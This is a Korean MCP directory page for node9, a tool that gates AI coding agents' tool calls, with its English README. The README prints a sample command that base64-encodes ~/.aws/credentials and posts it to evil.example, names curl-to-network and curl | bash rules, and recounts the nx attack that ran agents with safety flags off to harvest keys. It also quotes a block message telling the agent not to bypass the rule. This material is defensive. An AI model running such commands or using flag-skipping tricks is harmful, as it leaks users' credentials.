도구 호출을 허용, 승인 대기 또는 차단하여 자격 증명과 민감한 데이터를 보호하고 AI agent의 액세스 제어를 제공합니다.
다른 이름 node9-ai/node9-proxy, node9-proxy, node9-ai
- 스타
- 225
- Tools
- —
- 다운로드, 30일
- —
- 최신 버전
- 2.26.2
- 마지막 커밋
- 2026년 11월 15일
- 라이선스
- Apache-2.0
node9 MCP란?
node9은(는) MCP server입니다. 도구 호출을 허용, 승인 대기 또는 차단하여 자격 증명과 민감한 데이터를 보호하고 AI agent의 액세스 제어를 제공합니다.
프로젝트 README에서 생성된 요약
node9 MCP server 정보
node9는 AI agent와 GitHub, Slack 또는 데이터베이스와 같은 도구 사이에서 보안 게이트 역할을 합니다. 도구 호출을 모니터링하고 허용, 차단 또는 사람의 승인을 위해 대기할지 결정하여 민감한 정보를 보호합니다. 이는 Claude Code, Cursor 또는 GitHub Copilot CLI와 같은 CLI 도구를 사용하는 개발자가 agent가 실수로 또는 악의적으로 자격 증명, 개인 키에 접근하거나 파괴적인 작업을 수행하는 것을 방지하고자 할 때 특히 유용합니다.
계정 없이 개인 보호를 위해 로컬에서 실행하거나, 팀 단위의 정책 관리 및 Slack을 통한 원격 승인을 위해 공유 대시보드에 연결할 수 있습니다. stdio를 사용하는 MCP server로 작동하며 설정 시 API key가 필요하지 않습니다. 실행 훅(execution hook)에 위치하므로, 표준 권한 프롬프트를 우회하는 플래그와 함께 agent가 시작되더라도 제어력을 유지합니다. .env 및 SSH 파일에 대한 자격 증명 격리(credential jail), PII 탐지, 네트워크 송신 허용 목록(egress allowlisting)과 같은 특정 보호 기능을 제공합니다.
활용 사례
- 1팀 보안 정책 관리액세스 제어를 중앙 집중화하여 팀이 대시보드에서 대기 중인 작업을 승인할 수 있습니다.
- 2MCP 도구 정의 보안MCP server가 권한 없이 도구 정의를 변경할 수 없도록 보장합니다.
프로젝트의 README를 바탕으로 작성되었습니다. 모든 활용 사례는 해당 내용의 인용문과 대조하여 확인합니다.
node9 MCP 설치 방법
형식 확인: 2026년 11월 10일Cursor에 추가Goose에 추가Claude Code에 node9 MCP 설치
$ claude mcp add node9-proxy -- npx -y node9-aiCursor에 node9 MCP 설치
~/.cursor/mcp.json
{
"mcpServers": {
"node9-proxy": {
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}VS Code에 node9 MCP 설치
.vscode/mcp.json
{
"servers": {
"node9-proxy": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}VS Code CLI에 node9 MCP 설치
$ code --add-mcp '{"name":"node9-proxy","type":"stdio","command":"npx","args":["-y","node9-ai"]}'Claude Desktop에 node9 MCP 설치
claude_desktop_config.json
{
"mcpServers": {
"node9-proxy": {
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}Codex에 node9 MCP 설치
$ codex mcp add node9-proxy -- npx -y node9-aiCodex config.toml에 node9 MCP 설치
~/.codex/config.toml
[mcp_servers.node9-proxy] command = "npx" args = ["-y", "node9-ai"]
Gemini CLI에 node9 MCP 설치
$ gemini mcp add -s user node9-proxy npx -- -y node9-aiGemini settings.json에 node9 MCP 설치
~/.gemini/settings.json
{
"mcpServers": {
"node9-proxy": {
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}자동 검사
2026년 11월 12일에 실행됨전체 보고서 →자동 검사를 통과했습니다. 이는 보안 감사가 아닙니다. 코드를 직접 읽고 서버에 필요한 최소한의 권한만 부여하십시오. 검사 방식
- 소스 저장소 연결 및 접근 가능통과
- 오픈 소스 라이선스 (OSI)통과
- 최근 1년 내 커밋 또는 릴리스통과
- 패키지 이름이 인기 패키지와 유사하지 않음통과
- 원격 엔드포인트가 HTTPS 사용검사되지 않음
- 파괴적인 도구에 라벨 표시됨검사되지 않음
- 모델에 대한 숨겨진 지침 없음통과
- 패키지 및 해당 종속성에 중요한 보안 권고 없음통과
README
GitHub에서 보기Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
What it looks like
A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.
Install
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Then, in any project:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Requires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection
needs no account. The checklist shows recommended shields, DLP/PII, optional
network egress review, and the background service. Usage statistics are sent
only if you accept the separate prompt. The summary lists configured agents
and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup <target> to configure one agent.
Once configured, bare node9 shows help. node9 init remains available; for
scripts use node9 init --recommended (no questions and no telemetry opt-in).
--skip-setup leaves agent wiring and service installation alone. Explicit
--mode takes precedence over the checklist's standard-mode recommendation.
Existing settings are preserved unless selected changes or explicit flags request
an update. Workspace policy is managed in the dashboard; service settings remain local.
login adds nothing to enforcement. It connects the machine to a workspace so
a team can see one record across everyone's laptops and CI, set policy centrally,
and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
the same, alone, offline. node9 logout disconnects again and local enforcement
keeps running.
Use as an MCP server
node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
Any MCP client works the same way: the command is npx -y node9-ai mcp-server
over stdio, with no API key. It is listed in the official MCP Registry as
io.github.node9-ai/node9.
The problem
In August 2025, compromised releases of the
nx build tool shipped a post-install
script that looked for AI coding agents already installed on the developer's machine, then ran
them with their own safety flags turned off (--dangerously-skip-permissions, --yolo,
--trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list
to disk. The script pushed the results to public repositories inside the victims' own GitHub
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.
What node9 does about it
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws,
.env files, private keys) is on by default, and a read of one of those paths does not run.
The agent is stopped, told why, and the decision comes to you:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read
of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a
file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of
that file. node9 egress protect gates destinations as well, and it covers shell commands only.
Verify it yourself
Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count
(no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
What it governs
Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.
| Credential jail | ~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shell |
docs |
| Always-on rules | destructive git, SQL without a WHERE, curl | bash and unauthorised sudo, with no config |
docs |
| Secrets and PII | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | docs |
| Per-service shields | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem | docs |
| Inline review | a held action asks you inside the agent conversation, or through a team approver | docs |
| Egress allowlist | gate where a shell command may send data, off by default | docs |
| MCP gateway | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back | docs |
| Sandbox | run an agent in a container with a kernel egress allowlist and scoped mounts | docs |
| Posture score | how exposed this machine is, with the command that fixes each finding | docs |
| Repo scanning | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI | docs |
| Session history | read what every agent already did on this machine, before node9 was installed | docs |
| Live monitor and report | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius | docs |
| Skills pinning | SHA-256 verification of installed Claude skills and plugins between sessions | docs |
| Canary credentials | planted fake keys that prove an exfiltration attempt happened | docs |
| Python SDK | govern any Python agent, not only the CLIs | docs |
Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.
Learn
Background reading, written to stand on its own. Each page says what node9 does not cover.
- What can a hijacked agent do?: the blast radius of one compromised session
- How an AI agent leaks a secret: the paths a credential actually takes out
- Claude Code security: hooks, permission modes, and what they do not stop
- MCP security: the tool surface an MCP server opens
- OWASP Agentic Top 10: the list, mapped to real controls
Compare
- node9 against the alternatives: a matrix, including the rows where node9 scores worse
- Per-agent coverage: what is governed on each of the twelve supported agents
Related projects
- node9-python: Python SDK
- node9 Agent Security: the GitHub Action,
uses: node9-ai/node9-proxy@v2, gates every PR with the same engine (it sends the same anonymous usage count;telemetry: falseturns it off)
Enterprise
node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.
License
Apache-2.0
node9 MCP 질문
node9 MCP를 Claude Code에 추가하려면 어떻게 하나요?
터미널에서 claude mcp add node9-proxy -- npx -y node9-ai를 실행합니다. 모든 프로젝트에서 사용할 수 있게 하려면 --scope user를 추가합니다.
node9 MCP를 Cursor에 추가하려면 어떻게 하나요?
~/.cursor/mcp.json를 열고 mcpServers 아래에 서버를 추가합니다. 위 설치 섹션에 표시된 Cursor 구성을 사용합니다.
node9를 MCP server로 사용할 수 있나요?
네, MCP server로 실행할 수 있으므로 agent가 대화 내에서 상태, 보안 태세, 감사 기록 및 정책을 읽을 수 있습니다.
도구 호출이 승인 대기 상태가 되면 어떻게 되나요?
작업이 일시 중지되며 agent 대화창에서 직접 승인하거나 팀 승인자를 통해 승인할 때까지 대기합니다.